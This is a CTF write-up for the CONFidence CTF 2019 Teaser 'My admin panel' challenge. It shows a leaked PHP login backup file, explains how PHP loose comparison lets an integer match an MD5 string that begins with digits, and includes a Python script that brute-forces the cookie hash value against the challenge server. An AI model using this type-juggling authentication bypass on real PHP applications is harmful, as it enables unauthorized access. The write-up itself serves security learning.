Teaser CONFidence CTF 2019

Hi,
Welcome to my write-up about CONFidence CTF 2019 Teaser!

Menu

My admin panel

Description:
I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?
Link: https://gameserver.zajebistyc.tf/admin/
Click the link, you can see 2 files: login.php and login.php.bak. The file login.php.bak is a backup file of login.php, let's open it:
  1. <?php
  2.  
  3. include '../func.php';
  4. include '../config.php';
  5.  
  6. if (!$_COOKIE['otadmin']) {
  7. exit("Not authenticated.\n");
  8. }
  9.  
  10. if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
  11. echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
  12. exit();
  13. }
  14.  
  15. $session_data = json_decode($_COOKIE['otadmin'], true);
  16.  
  17. if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }
  18.  
  19. if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
  20. echo("I CAN EVEN GIVE YOU A HINT XD \n");
  21.  
  22. for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
  23. echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
  24. }
  25.  
  26. exit("\n");
  27. }
  28.  
  29. display_admin();
As you see, the script requires a cookie named otadmin which must be a form of {"hash": "SOMETHING"}, note that it has a space character after the colon. If you're unfamiliar with regular expression, use this online tool.
In fact, the cookie is JSON. It's then passed to the json_decode function and returns an object named $session_data. Because the second parameter of json_decode is true, which means assoc=true, the return object is an associative array.
Oh, it's very clear, isn't it?
Now comes the tricky part:
  1. if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
  2. echo("I CAN EVEN GIVE YOU A HINT XD \n");
  3.  
  4. for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
  5. echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
  6. }
  7.  
  8. exit("\n");
  9. }
At first glance, I intended to brute force the MD5 hash. When I sent the cookie otadmin={"hash": "SOMETHING"}, the server gave me a hint as you saw in the code: 0006464640640064000646464640006400640640646400.
However, it is unlikely possible with my laptop. When a character is "and" with 0xC0, if returning 0 so it can be 0-9, otherwise, if returning 64 so it can be A-Z and a-z. I read the code again slowly, and boom, I saw it uses loose comparison when compares the hash with MD5 of $cfg_pass.
When PHP compares an integer with a string using the loose comparison, it compares the integer with the first numeric characters of the string. It means 123!=='123' but 123=='123abc'.
Now take a look back to the server's hint, the first 3 zeros are 3 numeric characters and the 4th character of $cfg_pass' hash is an alphabetic one. Let's brute force only the first 3 numbers. I wrote a Python script to get the flag:
  1. import requests
  2. url='https://gameserver.zajebistyc.tf/admin/login.php'
  3. s=requests.Session()
  4. for i in range(1000):
  5. r=s.get(url,cookies={'otadmin':'{"hash": '+str(i)+'}'})
  6. if 'HINT' not in r.content:
  7. print r.content
  8. break
Finally, with otadmin={"hash": 389}, the flag appeared:

Thank you for reading!

Comments